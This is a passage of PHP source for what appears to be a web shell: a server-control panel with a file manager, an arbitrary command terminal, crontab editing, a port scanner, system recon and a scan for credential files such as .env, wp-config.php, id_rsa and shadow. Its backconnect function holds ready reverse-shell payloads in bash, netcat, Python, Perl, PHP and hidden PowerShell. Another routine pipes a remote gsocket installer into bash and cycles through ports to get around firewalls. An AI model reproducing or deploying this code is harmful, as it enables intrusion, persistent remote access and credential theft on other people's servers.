Author: w2s_037c8653928c

  • 0 && $path[0] === \’/\’) {
    $path = preg_replace(\’#/+#\’, \’/\’, $path);
    return $path;
    }

    // Original relative path logic
    $path = str_replace(array(\’\’, \”\\0\”), array(\’/\’, \’\’), $path);
    $path = trim($path, \’/\’);
    $parts = array_filter(explode(\’/\’, $path), function($p) {
    return $p !== \’\’ && $p !== \’.\’;
    });
    $clean = array();
    foreach ($parts as $part) {
    if ($part === \’..\’) { array_pop($clean); continue; }
    if (preg_match(\’/[\\x00-\\x1f]/\’, $part)) continue;
    $clean[] = $part;
    }
    return implode(\’/\’, $clean);
    }

    function resolvePath($baseDir, $relPath, $mustExist = true)
    {
    $rel = sanitizeRelPath($relPath);

    // Handle absolute Windows paths (C:/, D:/, etc)
    if (preg_match(\’/^[A-Za-z]:\\//\’, $rel)) {
    // Convert to system path
    $full = str_replace(\’/\’, DIRECTORY_SEPARATOR, $rel);

    if ($mustExist) {
    $real = realpath($full);
    if ($real !== false) {
    return $real;
    }
    return null;
    } else {
    // Check if parent exists
    $parent = dirname($full);
    if (is_dir($parent) || is_dir($full)) {
    return $full;
    }
    return null;
    }
    }

    // Handle absolute Linux paths
    if (strlen($rel) > 0 && $rel[0] === \’/\’) {
    if ($mustExist) {
    $real = realpath($rel);
    if ($real !== false) {
    return $real;
    }
    return null;
    } else {
    $parent = dirname($rel);
    if (is_dir($parent) || is_dir($rel)) {
    return $rel;
    }
    return null;
    }
    }

    // Handle relative paths
    $full = $rel === \’\’ ? $baseDir : $baseDir . DIRECTORY_SEPARATOR . str_replace(\’/\’, DIRECTORY_SEPARATOR, $rel);
    $real = $mustExist ? realpath($full) : (is_file($full) || is_dir($full) ? realpath($full) : null);

    if ($real === false || $real === null) {
    if (!$mustExist) {
    $parent = dirname($full);
    $parentReal = realpath($parent);
    $baseDirNormalized = str_replace(\’\’, \’/\’, $baseDir);
    $parentRealNormalized = $parentReal ? str_replace(\’\’, \’/\’, $parentReal) : \’\’;
    if ($parentReal && strpos($parentRealNormalized, $baseDirNormalized) === 0) {
    return $full;
    }
    }
    return null;
    }

    $realNormalized = str_replace(\’\’, \’/\’, $real);
    $baseDirNormalized = str_replace(\’\’, \’/\’, $baseDir);
    $starts = strpos($realNormalized, $baseDirNormalized) === 0;
    return $starts ? $real : null;
    }

    function formatBytes($bytes)
    {
    $bytes = (int)$bytes;
    if ($bytes < 1024) return $bytes . \' B\'; $units = array(\'KB\', \'MB\', \'GB\', \'TB\'); $v = $bytes / 1024; foreach ($units as $u) { if ($v < 1024) return number_format($v, $v >= 100 ? 0 : 1) . \’ \’ . $u;
    $v /= 1024;
    }
    return number_format($v, 1) . \’ PB\’;
    }

    function fileIcon($name, $dir)
    {
    if ($dir) return \’folder\’;
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));

    $iconMap = array(
    \’php\’ => \’php\’, \’phtml\’ => \’php\’,
    \’js\’ => \’js\’, \’mjs\’ => \’js\’, \’ts\’ => \’js\’, \’tsx\’ => \’js\’, \’jsx\’ => \’js\’,
    \’css\’ => \’css\’, \’scss\’ => \’css\’, \’sass\’ => \’css\’, \’less\’ => \’css\’,
    \’html\’ => \’html\’, \’htm\’ => \’html\’,
    \’json\’ => \’config\’, \’yaml\’ => \’config\’, \’yml\’ => \’config\’,
    \’xml\’ => \’config\’, \’toml\’ => \’config\’, \’env\’ => \’config\’, \’ini\’ => \’config\’,
    \’md\’ => \’text\’, \’txt\’ => \’text\’, \’log\’ => \’text\’,
    \’png\’ => \’image\’, \’jpg\’ => \’image\’, \’jpeg\’ => \’image\’,
    \’gif\’ => \’image\’, \’webp\’ => \’image\’, \’svg\’ => \’image\’, \’ico\’ => \’image\’,
    \’zip\’ => \’archive\’, \’rar\’ => \’archive\’, \’7z\’ => \’archive\’,
    \’tar\’ => \’archive\’, \’gz\’ => \’archive\’,
    \’sql\’ => \’database\’, \’db\’ => \’database\’,
    );

    return isset($iconMap[$ext]) ? $iconMap[$ext] : \’file\’;
    }

    function isTextFile($path)
    {
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    $text = array(\’php\’,\’phtml\’,\’js\’,\’mjs\’,\’ts\’,\’tsx\’,\’jsx\’,\’css\’,\’scss\’,\’sass\’,\’less\’,\’html\’,\’htm\’,
    \’json\’,\’yaml\’,\’yml\’,\’xml\’,\’toml\’,\’env\’,\’ini\’,\’md\’,\’txt\’,\’log\’,\’sql\’,\’htaccess\’,\’gitignore\’,\’csv\’);
    if (in_array($ext, $text, true)) return true;
    $size = filesize($path);
    if ($size === false || $size > 512000) return false;
    $fh = fopen($path, \’rb\’);
    if (!$fh) return false;
    $chunk = fread($fh, 8192); fclose($fh);
    return $chunk !== false && !preg_match(\’/[\\x00-\\x08\\x0e-\\x1f]/\’, $chunk);
    }

    function listEntries($dir)
    {
    $items = array();
    $h = @opendir($dir);
    if (!$h) return $items;
    while (($name = readdir($h)) !== false) {
    if ($name === \’.\’ || $name === \’..\’) continue;
    $full = $dir . DIRECTORY_SEPARATOR . $name;
    $isDir = is_dir($full);
    $perm = substr(sprintf(\’%o\’, fileperms($full)), -4);
    $sz = @filesize($full);
    $mt = @filemtime($full);
    $items[] = array(
    \’name\’ => $name,
    \’is_dir\’ => $isDir,
    \’size\’ => $isDir ? null : (int)($sz ? $sz : 0),
    \’modified\’ => (int)($mt ? $mt : time()),
    \’icon\’ => fileIcon($name, $isDir),
    \’perm\’ => $perm,
    \’editable\’ => !$isDir && isTextFile($full),
    );
    }
    closedir($h);
    usort($items, function ($a, $b) {
    if ($a[\’is_dir\’] !== $b[\’is_dir\’]) return $a[\’is_dir\’] ? -1 : 1;
    return strcasecmp($a[\’name\’], $b[\’name\’]);
    });
    return $items;
    }

    function runTerminal($command, $cwd)
    {
    if (!function_exists(\’proc_open\’)) {
    return array(\’output\’ => \’proc_open() is disabled on this server.\’, \’exit_code\’ => 1);
    }
    $descriptors = array(0 => array(\’pipe\’,\’r\’), 1 => array(\’pipe\’,\’w\’), 2 => array(\’pipe\’,\’w\’));
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    $cmd = $isWin ? \’cmd /C \’ . $command : $command;
    $pipes = array();
    $proc = @proc_open($cmd, $descriptors, $pipes, $cwd);
    if (!is_resource($proc)) return array(\’output\’ => \’Failed to execute.\’, \’exit_code\’ => 1);
    fclose($pipes[0]);
    $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]);
    $stderr = stream_get_contents($pipes[2]); fclose($pipes[2]);
    $code = proc_close($proc);
    $stdout = $stdout ? $stdout : \’\’;
    $stderr = $stderr ? $stderr : \’\’;
    $sep = ($stdout !== \’\’ && $stderr !== \’\’) ? \”\\n\” : \’\’;
    $out = trim($stdout . $sep . $stderr);
    if ($out === \’\’) {
    $out = ($code === 0) ? \'(no output)\’ : \’\’;
    }
    return array(\’output\’ => $out, \’exit_code\’ => $code);
    }

    function searchFiles($baseDir, $relDir, $query, &$results, &$count, $limit = 200)
    {
    if ($count >= $limit) return;
    $dir = resolvePath($baseDir, $relDir);
    if (!$dir || !is_dir($dir)) return;
    $h = @opendir($dir);
    if (!$h) return;
    while (($name = readdir($h)) !== false) {
    if ($name === \’.\’ || $name === \’..\’) continue;
    if ($count >= $limit) break;
    $full = $dir . DIRECTORY_SEPARATOR . $name;
    $itemRel = $relDir === \’\’ ? $name : $relDir . \’/\’ . $name;
    if (stripos($name, $query) !== false) {
    $isDir = is_dir($full);
    $sz = @filesize($full);
    $results[] = array(
    \’path\’ => $itemRel,
    \’name\’ => $name,
    \’is_dir\’ => $isDir,
    \’icon\’ => fileIcon($name, $isDir),
    \’size\’ => $isDir ? null : (int)($sz ? $sz : 0),
    );
    $count++;
    }
    if (is_dir($full)) searchFiles($baseDir, $itemRel, $query, $results, $count, $limit);
    }
    closedir($h);
    }

    function getCrontab()
    {
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    if ($isWin) {
    $result = runTerminal(\’schtasks /query /fo LIST\’, $GLOBALS[\’baseDir\’]);
    return array(\’content\’ => $result[\’output\’], \’platform\’ => \’windows\’, \’editable\’ => false);
    }
    $result = runTerminal(\’crontab -l 2>&1\’, $GLOBALS[\’baseDir\’]);
    $out = $result[\’output\’];
    if (stripos($out, \’no crontab\’) !== false) {
    $out = \’\’;
    }
    return array(\’content\’ => $out, \’platform\’ => \’unix\’, \’editable\’ => true);
    }

    function setCrontab($content)
    {
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    if ($isWin) {
    return array(\’ok\’ => false, \’error\’ => \’Edit crontab on Windows via schtasks in Terminal.\’);
    }
    $tmp = tempnam(sys_get_temp_dir(), \’cron\’);
    if ($tmp === false) {
    return array(\’ok\’ => false, \’error\’ => \’Cannot create temp file\’);
    }
    file_put_contents($tmp, rtrim((string)$content) . \”\\n\”);
    $result = runTerminal(\’crontab \’ . escapeshellarg($tmp), $GLOBALS[\’baseDir\’]);
    @unlink($tmp);
    if ($result[\’exit_code\’] !== 0) {
    return array(\’ok\’ => false, \’error\’ => $result[\’output\’] ? $result[\’output\’] : \’Failed to save crontab\’);
    }
    return array(\’ok\’ => true);
    }

    function parsePortList($spec, $max = 500)
    {
    $ports = array();
    foreach (explode(\’,\’, (string)$spec) as $part) {
    $part = trim($part);
    if ($part === \’\’) continue;
    if (preg_match(\’/^(\\d+)\\s*-\\s*(\\d+)$/\’, $part, $m)) {
    $start = max(1, min(65535, (int)$m[1]));
    $end = max(1, min(65535, (int)$m[2]));
    if ($start > $end) { $t = $start; $start = $end; $end = $t; }
    for ($p = $start; $p <= $end && count($ports) < $max; $p++) { $ports[$p] = $p; } } elseif (preg_match(\'/^\\d+$/\', $part)) { $p = (int)$part; if ($p >= 1 && $p <= 65535 && count($ports) < $max) { $ports[$p] = $p; } } } return array_values($ports); } function scanPorts($host, $portsSpec, $timeout = 1) { $host = trim((string)$host); if ($host === \'\' || !preg_match(\'/^[a-zA-Z0-9.\\-_]+$/\', $host)) { return array(\'ok\' => false, \’error\’ => \’Invalid host\’);
    }
    $timeout = max(1, min(5, (int)$timeout));
    $ports = parsePortList($portsSpec, 500);
    if (empty($ports)) {
    return array(\’ok\’ => false, \’error\’ => \’No valid ports (e.g. 22,80,443 or 1-1024)\’);
    }
    $open = array();
    $ip = @gethostbyname($host);
    foreach ($ports as $port) {
    $conn = @fsockopen($host, $port, $errno, $errstr, $timeout);
    if ($conn) {
    $open[] = (int)$port;
    fclose($conn);
    }
    }
    sort($open);
    return array(\’ok\’ => true, \’host\’ => $host, \’ip\’ => $ip, \’open\’ => $open, \’scanned\’ => count($ports));
    }

    function startBackconnect($ip, $port, $method)
    {
    $ip = trim((string)$ip);
    $port = (int)$port;
    $method = strtolower(trim((string)$method));
    if ($ip === \’\’ || !preg_match(\’/^[a-zA-Z0-9.\\-_]+$/\’, $ip)) {
    return array(\’ok\’ => false, \’error\’ => \’Invalid IP/hostname\’);
    }
    if ($port < 1 || $port > 65535) {
    return array(\’ok\’ => false, \’error\’ => \’Invalid port\’);
    }
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    $payloads = array(
    \’bash\’ => \”bash -c \’bash -i >& /dev/tcp/{$ip}/{$port} 0>&1\’\”,
    \’nc\’ => \”rm -f /tmp/.bc;mkfifo /tmp/.bc;cat /tmp/.bc|/bin/sh -i 2>&1|nc {$ip} {$port} >/tmp/.bc\”,
    \’python\’ => \”python -c \’import socket,subprocess,os;s=socket.socket();s.connect((\”{$ip}\”,{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\”/bin/sh\”,\”-i\”])\’\”,
    \’perl\’ => \”perl -e \’use Socket;\\$i=\”{$ip}\”;\\$p={$port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\\$p,inet_aton(\\$i)))){open(STDIN,\”>&S\”);open(STDOUT,\”>&S\”);open(STDERR,\”>&S\”);exec(\”/bin/sh -i\”);};\’\”,
    \’php\’ => \”php -r \’\\$s=fsockopen(\”{$ip}\”,{$port});proc_open(\”/bin/sh -i\”,array(0=>\\$s,1=>\\$s,2=>\\$s),\\$p);\’\”,
    );
    if ($isWin) {
    $payloads[\’powershell\’] = \”powershell -nop -W hidden -c \”\\$c=New-Object Net.Sockets.TCPClient(\'{$ip}\’,{$port});\\$s=\\$c.GetStream();[byte[]]\\$b=0..65535|%{0};while((\\$i=\\$s.Read(\\$b,0,\\$b.Length)) -ne 0){;\\$d=(New-Object Text.ASCIIEncoding).GetString(\\$b,0,\\$i);\\$r=(iex \\$d 2>&1|Out-String);\\$r2=\\$r+\’PS \’+(pwd).Path+\’> \’;\\$sb=([Text.Encoding]::ASCII).GetBytes(\\$r2);\\$s.Write(\\$sb,0,\\$sb.Length)}\”\”;
    $payloads[\’nc\’] = \”nc.exe {$ip} {$port} -e cmd.exe\”;
    }
    if (!isset($payloads[$method])) {
    return array(\’ok\’ => false, \’error\’ => \’Unknown method\’);
    }
    $cmd = $payloads[$method];
    if ($isWin) {
    @pclose(@popen(\’start /B \’ . $cmd, \’r\’));
    } else {
    @exec($cmd . \’ > /dev/null 2>&1 &\’);
    }
    return array(\’ok\’ => true, \’message\’ => \’Backconnect started (\’ . $method . \’) → \’ . $ip . \’:\’ . $port);
    }

    function gsocketIsFirewalled($output)
    {
    $out = strtolower((string)$output);
    return strpos($out, \’cannot connect to gsrn\’) !== false
    || (strpos($out, \’firewalled\’) !== false && strpos($out, \’gsrn\’) !== false);
    }

    function gsocketBuildCommand($method, $port = null)
    {
    $method = strtolower(trim((string)$method));
    if ($method === \’wget\’) {
    $inner = \’wget –no-check-certificate -qO- https://gsocket.io/y\’;
    } else {
    $method = \’curl\’;
    $inner = \’curl -fsSLk https://gsocket.io/y\’;
    }
    $prefix = \’GS_NOCERTCHECK=1\’;
    if ($port !== null) {
    $prefix .= \’ GS_PORT=\’ . (int)$port;
    }
    return array(
    \’command\’ => $prefix . \’ bash -c \”$(\’ . $inner . \’)\”\’,
    \’method\’ => $method,
    \’port\’ => $port,
    );
    }

    function runGsocket($method)
    {
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    if ($isWin) {
    return array(\’ok\’ => false, \’error\’ => \’GSocket installer requires bash (Linux/Unix).\’);
    }
    if (!function_exists(\’proc_open\’)) {
    return array(\’ok\’ => false, \’error\’ => \’proc_open() is disabled on this server.\’);
    }
    @set_time_limit(1800);
    @ini_set(\’max_execution_time\’, \’1800\’);

    $portsToTry = array(null);
    for ($p = 22; $p <= 67; $p++) { $portsToTry[] = $p; } $allOutput = \'\'; $attempts = 0; $successPort = null; $lastCommand = \'\'; $lastMethod = strtolower(trim((string)$method)); if ($lastMethod !== \'wget\') { $lastMethod = \'curl\'; } $lastExit = 1; $stoppedOnFirewalled = false; foreach ($portsToTry as $port) { $built = gsocketBuildCommand($method, $port); $command = $built[\'command\']; $lastCommand = $command; $lastMethod = $built[\'method\']; $label = ($port === null) ? \'default (no GS_PORT)\' : (\'GS_PORT=\' . $port); $attempts++; $result = runTerminal($command, $GLOBALS[\'baseDir\']); if ($result[\'output\'] === \'Failed to execute.\') { return array(\'ok\' => false, \’error\’ => \’Failed to execute GSocket installer.\’, \’command\’ => $command);
    }

    $lastExit = (int)$result[\’exit_code\’];
    $firewalled = gsocketIsFirewalled($result[\’output\’]);
    $allOutput .= \’=== Attempt \’ . $attempts . \’: \’ . $label . \” ===\\n\”;
    $allOutput .= \’$ \’ . $command . \”\\n\\n\”;
    $allOutput .= $result[\’output\’] . \”\\n\”;
    $allOutput .= \'(exit \’ . $lastExit . \”)\\n\\n\”;

    if (!$firewalled) {
    $successPort = $port;
    $allOutput .= \’=== SUCCESS: GSRN reachable with \’ . $label . \” ===\\n\”;
    break;
    }

    $stoppedOnFirewalled = true;
    if ($port !== null && $port >= 67) {
    $allOutput .= \”=== FAILED: All ports tried (default + GS_PORT=22..67) — still firewalled ===\\n\”;
    }
    }

    $portLabel = ($successPort === null) ? \’default\’ : (string)$successPort;

    return array(
    \’ok\’ => true,
    \’output\’ => $allOutput,
    \’exit_code\’ => $lastExit,
    \’command\’ => $lastCommand,
    \’method\’ => $lastMethod,
    \’gs_port\’ => $successPort,
    \’gs_port_label\’ => $portLabel,
    \’attempts\’ => $attempts,
    \’firewalled\’ => ($successPort === null && $stoppedOnFirewalled),
    \’success\’ => ($successPort !== null || !$stoppedOnFirewalled),
    );
    }

    function runSecTool($tool, $input, $baseDir)
    {
    $tool = strtolower(trim((string)$tool));
    switch ($tool) {
    case \’recon\’:
    return secRecon($baseDir);
    case \’sensitive\’:
    return secSensitiveScan($baseDir, (string)_v($input, \’path\’, \’\’));
    case \’processes\’:
    return secProcesses($baseDir);
    case \’network\’:
    return secNetwork($baseDir);
    case \’http\’:
    return secHttpRequest(
    (string)_v($input, \’url\’, \’\’),
    (string)_v($input, \’method\’, \’GET\’),
    (string)_v($input, \’headers\’, \’\’),
    (string)_v($input, \’body\’, \’\’)
    );
    case \’hash\’:
    return secHash((string)_v($input, \’text\’, \’\’), (string)_v($input, \’algo\’, \’sha256\’));
    case \’codec\’:
    return secCodec((string)_v($input, \’mode\’, \’b64enc\’), (string)_v($input, \’text\’, \’\’));
    case \’dns\’:
    return secDns((string)_v($input, \’host\’, \’\’), (string)_v($input, \’type\’, \’ALL\’));
    case \’suid\’:
    return secSuidFind($baseDir);
    default:
    return array(\’ok\’ => false, \’error\’ => \’Unknown security tool\’);
    }
    }

    function secRecon($baseDir)
    {
    $lines = array();
    $lines[] = \’=== SYSTEM RECON ===\’;
    $lines[] = \’Timestamp : \’ . date(\’Y-m-d H:i:s T\’);
    $lines[] = \’PHP : \’ . PHP_VERSION . \’ (\’ . PHP_SAPI . \’)\’;
    $lines[] = \’OS : \’ . PHP_OS;
    $lines[] = \’Server : \’ . (isset($_SERVER[\’SERVER_SOFTWARE\’]) ? $_SERVER[\’SERVER_SOFTWARE\’] : \’-\’);
    $lines[] = \’Hostname : \’ . (function_exists(\’gethostname\’) ? gethostname() : \’-\’);
    $lines[] = \’Doc Root : \’ . (isset($_SERVER[\’DOCUMENT_ROOT\’]) ? $_SERVER[\’DOCUMENT_ROOT\’] : \’-\’);
    $lines[] = \’Script : \’ . __FILE__;
    $lines[] = \’Base Dir : \’ . $baseDir;
    $lines[] = \’Client IP : \’ . (isset($_SERVER[\’REMOTE_ADDR\’]) ? $_SERVER[\’REMOTE_ADDR\’] : \’-\’);
    $lines[] = \’\’;

    $lines[] = \’=== USER / PRIVILEGE ===\’;
    $lines[] = \’PHP user : \’ . get_current_user();
    if (function_exists(\’posix_geteuid\’)) {
    $lines[] = \’UID/EUID : \’ . posix_getuid() . \’ / \’ . posix_geteuid();
    $pw = @posix_getpwuid(posix_geteuid());
    if ($pw) $lines[] = \’Account : \’ . $pw[\’name\’] . \’ (home: \’ . (isset($pw[\’dir\’]) ? $pw[\’dir\’] : \’-\’) . \’)\’;
    $groups = @posix_getgroups();
    if ($groups) {
    $gn = array();
    foreach ($groups as $gid) {
    $g = @posix_getgrgid($gid);
    $gn[] = $g ? $g[\’name\’] : $gid;
    }
    $lines[] = \’Groups : \’ . implode(\’, \’, $gn);
    }
    }
    $whoami = runTerminal(\’whoami 2>&1\’, $baseDir);
    $lines[] = \’whoami : \’ . trim($whoami[\’output\’]);
    $id = runTerminal(\’id 2>&1\’, $baseDir);
    $lines[] = \’id : \’ . trim($id[\’output\’]);
    $lines[] = \’\’;

    $lines[] = \’=== PHP SECURITY ===\’;
    $lines[] = \’disable_functions : \’ . (ini_get(\’disable_functions\’) ? ini_get(\’disable_functions\’) : \'(none)\’);
    $lines[] = \’open_basedir : \’ . (ini_get(\’open_basedir\’) ? ini_get(\’open_basedir\’) : \'(none)\’);
    $lines[] = \’allow_url_fopen : \’ . (ini_get(\’allow_url_fopen\’) ? \’On\’ : \’Off\’);
    $lines[] = \’allow_url_include : \’ . (ini_get(\’allow_url_include\’) ? \’On\’ : \’Off\’);
    $lines[] = \’display_errors : \’ . (ini_get(\’display_errors\’) ? \’On\’ : \’Off\’);
    $lines[] = \’expose_php : \’ . (ini_get(\’expose_php\’) ? \’On\’ : \’Off\’);
    $lines[] = \’proc_open : \’ . (function_exists(\’proc_open\’) && !secFuncDisabled(\’proc_open\’) ? \’Available\’ : \’Disabled\’);
    $lines[] = \’shell_exec : \’ . (function_exists(\’shell_exec\’) && !secFuncDisabled(\’shell_exec\’) ? \’Available\’ : \’Disabled\’);
    $lines[] = \’curl : \’ . (function_exists(\’curl_init\’) ? \’Available\’ : \’Missing\’);
    $lines[] = \’PDO : \’ . (class_exists(\’PDO\’) ? \’Available\’ : \’Missing\’);
    $lines[] = \’\’;

    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    if (!$isWin) {
    $lines[] = \’=== KERNEL / SYSTEM ===\’;
    $uname = runTerminal(\’uname -a 2>&1\’, $baseDir);
    $lines[] = trim($uname[\’output\’]);
    $lines[] = \’Uptime: \’ . trim(runTerminal(\’uptime 2>&1\’, $baseDir)[\’output\’]);
    $lines[] = \’\’;
    }

    $lines[] = \’=== ENVIRONMENT (selected) ===\’;
    $envKeys = array(\’PATH\’, \’HOME\’, \’USER\’, \’LOGNAME\’, \’SHELL\’, \’PWD\’, \’TEMP\’, \’TMP\’, \’HTTP_HOST\’, \’SERVER_NAME\’);
    foreach ($envKeys as $k) {
    $v = getenv($k);
    if ($v !== false && $v !== \’\’) $lines[] = $k . \’=\’ . $v;
    }

    return array(\’ok\’ => true, \’output\’ => implode(\”\\n\”, $lines));
    }

    function secFuncDisabled($fn)
    {
    $disabled = ini_get(\’disable_functions\’);
    if (!$disabled) return false;
    return in_array($fn, array_map(\’trim\’, explode(\’,\’, $disabled)), true);
    }

    function secSensitiveScan($baseDir, $scanPath)
    {
    $patterns = array(
    \’.env\’, \’.env.local\’, \’.env.production\’, \’.env.backup\’, \’.env.old\’,
    \’wp-config.php\’, \’configuration.php\’, \’config.php\’, \’settings.php\’, \’LocalSettings.php\’,
    \’database.yml\’, \’secrets.yml\’, \’web.config\’, \’appsettings.json\’, \’local.settings.json\’,
    \’id_rsa\’, \’id_dsa\’, \’id_ecdsa\’, \’id_ed25519\’, \’authorized_keys\’, \’.htpasswd\’,
    \’docker-compose.yml\’, \’docker-compose.yaml\’, \’.git/config\’, \’passwd\’, \’shadow\’,
    \’backup.sql\’, \’dump.sql\’, \’db.sql\’, \’.my.cnf\’, \’pgpass\’, \’.pgpass\’,
    );
    $roots = array();
    if ($scanPath !== \’\’) {
    $resolved = resolvePath($baseDir, $scanPath, false);
    if ($resolved && @is_dir($resolved)) $roots[] = $resolved;
    }
    if (empty($roots)) {
    $roots[] = $baseDir;
    foreach (array(\’/var/www\’, \’/home\’, \’/etc\’, \’/tmp\’, dirname($baseDir)) as $r) {
    if (@is_dir($r) && !in_array($r, $roots, true)) $roots[] = $r;
    }
    }

    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    $found = array();
    if (!$isWin) {
    $nameExpr = array();
    foreach ($patterns as $p) {
    $nameExpr[] = \’-name \’ . escapeshellarg($p);
    }
    $expr = \’\\( \’ . implode(\’ -o \’, $nameExpr) . \’ \\)\’;
    foreach ($roots as $root) {
    $cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth 7 \’ . $expr . \’ -type f 2>/dev/null | head -60\’;
    $out = runTerminal($cmd, $baseDir);
    foreach (explode(\”\\n\”, $out[\’output\’]) as $line) {
    $line = trim($line);
    if ($line !== \’\’ && @is_file($line)) {
    $found[$line] = array(
    \’path\’ => $line,
    \’size\’ => @filesize($line),
    \’perm\’ => substr(sprintf(\’%o\’, @fileperms($line)), -4),
    \’readable\’ => @is_readable($line),
    );
    }
    }
    if (count($found) >= 80) break;
    }
    } else {
    secWalkSensitive($roots[0], $patterns, $found, 0, 6);
    }

    $lines = array(\’=== SENSITIVE FILE SCAN ===\’, \’Roots: \’ . implode(\’, \’, $roots), \’Found: \’ . count($found), \’\’);
    foreach ($found as $item) {
    $flag = $item[\’readable\’] ? \'[R]\’ : \'[–]\’;
    $lines[] = $flag . \’ \’ . $item[\’perm\’] . \’ \’ . secFormatBytes(isset($item[\’size\’]) ? $item[\’size\’] : 0) . \’ \’ . $item[\’path\’];
    }
    if (empty($found)) $lines[] = \'(no sensitive files found in scan scope)\’;

    return array(\’ok\’ => true, \’output\’ => implode(\”\\n\”, $lines), \’count\’ => count($found), \’files\’ => array_values($found));
    }

    function secWalkSensitive($dir, $patterns, &$found, $depth, $maxDepth)
    {
    if ($depth > $maxDepth || count($found) >= 80) return;
    $h = @opendir($dir);
    if (!$h) return;
    while (($name = readdir($h)) !== false) {
    if ($name === \’.\’ || $name === \’..\’) continue;
    $full = $dir . DIRECTORY_SEPARATOR . $name;
    if (in_array($name, $patterns, true) && @is_file($full)) {
    $found[$full] = array(
    \’path\’ => $full,
    \’size\’ => @filesize($full),
    \’perm\’ => substr(sprintf(\’%o\’, @fileperms($full)), -4),
    \’readable\’ => @is_readable($full),
    );
    }
    if (@is_dir($full) && $depth < $maxDepth) { secWalkSensitive($full, $patterns, $found, $depth + 1, $maxDepth); } if (count($found) >= 80) break;
    }
    closedir($h);
    }

    function secFormatBytes($bytes)
    {
    $bytes = (int)$bytes;
    if ($bytes < 1024) return $bytes . \'B\'; if ($bytes < 1048576) return round($bytes / 1024, 1) . \'K\'; return round($bytes / 1048576, 1) . \'M\'; } function secProcesses($baseDir) { $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \'WIN\'; $cmd = $isWin ? \'tasklist /V\' : \'ps auxww 2>/dev/null || ps -ef 2>/dev/null\’;
    $result = runTerminal($cmd, $baseDir);
    return array(\’ok\’ => true, \’output\’ => $result[\’output\’]);
    }

    function secNetwork($baseDir)
    {
    $isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
    if ($isWin) {
    $cmd = \’netstat -ano\’;
    } else {
    $cmd = \’ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null || netstat -an 2>/dev/null\’;
    }
    $result = runTerminal($cmd, $baseDir);
    $extra = runTerminal($isWin ? \’ipconfig /all\’ : \’ip addr 2>/dev/null; echo \”—\”; ip route 2>/dev/null\’, $baseDir);
    $out = \”=== LISTENING / CONNECTIONS ===\\n\” . $result[\’output\’] . \”\\n\\n=== INTERFACES / ROUTES ===\\n\” . $extra[\’output\’];
    return array(\’ok\’ => true, \’output\’ => $out);
    }

    function secHttpRequest($url, $method, $headersRaw, $body)
    {
    $url = trim($url);
    if ($url === \’\’ || !preg_match(\’#^https?://#i\’, $url)) {
    return array(\’ok\’ => false, \’error\’ => \’URL must start with http:// or https://\’);
    }
    $method = strtoupper(trim($method));
    if (!in_array($method, array(\’GET\’, \’POST\’, \’PUT\’, \’PATCH\’, \’DELETE\’, \’HEAD\’, \’OPTIONS\’), true)) {
    return array(\’ok\’ => false, \’error\’ => \’Invalid HTTP method\’);
    }

    if (function_exists(\’curl_init\’)) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
    curl_setopt($ch, CURLOPT_TIMEOUT, 20);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    if ($body !== \’\’ && in_array($method, array(\’POST\’, \’PUT\’, \’PATCH\’), true)) {
    curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
    }
    $hdrs = array();
    foreach (preg_split(\’/\\r?\\n/\’, $headersRaw) as $line) {
    $line = trim($line);
    if ($line !== \’\’) $hdrs[] = $line;
    }
    if (!empty($hdrs)) curl_setopt($ch, CURLOPT_HTTPHEADER, $hdrs);
    $resp = curl_exec($ch);
    $err = curl_error($ch);
    $info = curl_getinfo($ch);
    curl_close($ch);
    if ($resp === false) return array(\’ok\’ => false, \’error\’ => $err ? $err : \’Request failed\’);
    $out = \”=== HTTP RESPONSE ===\\n\”;
    $out .= \’URL : \’ . $url . \”\\n\”;
    $out .= \’Method : \’ . $method . \”\\n\”;
    $out .= \’Code : \’ . (isset($info[\’http_code\’]) ? $info[\’http_code\’] : \’?\’) . \”\\n\”;
    $out .= \’Time : \’ . (isset($info[\’total_time\’]) ? round($info[\’total_time\’], 3) . \’s\’ : \’?\’) . \”\\n\\n\”;
    $out .= $resp;
    return array(\’ok\’ => true, \’output\’ => $out);
    }

    $cmd = \’curl -sS -k -i -X \’ . escapeshellarg($method);
    foreach (preg_split(\’/\\r?\\n/\’, $headersRaw) as $line) {
    $line = trim($line);
    if ($line !== \’\’) $cmd .= \’ -H \’ . escapeshellarg($line);
    }
    if ($body !== \’\’ && in_array($method, array(\’POST\’, \’PUT\’, \’PATCH\’), true)) {
    $cmd .= \’ –data \’ . escapeshellarg($body);
    }
    $cmd .= \’ \’ . escapeshellarg($url);
    $result = runTerminal($cmd, $GLOBALS[\’baseDir\’]);
    return array(\’ok\’ => true, \’output\’ => $result[\’output\’]);
    }

    function secHash($text, $algo)
    {
    $algos = array(\’md5\’, \’sha1\’, \’sha256\’, \’sha512\’, \’crc32\’);
    $algo = strtolower(trim($algo));
    if (!in_array($algo, $algos, true)) {
    return array(\’ok\’ => false, \’error\’ => \’Invalid algorithm\’);
    }
    if ($algo === \’crc32\’) {
    $hash = sprintf(\’%u\’, crc32($text));
    } else {
    $hash = hash($algo, $text);
    }
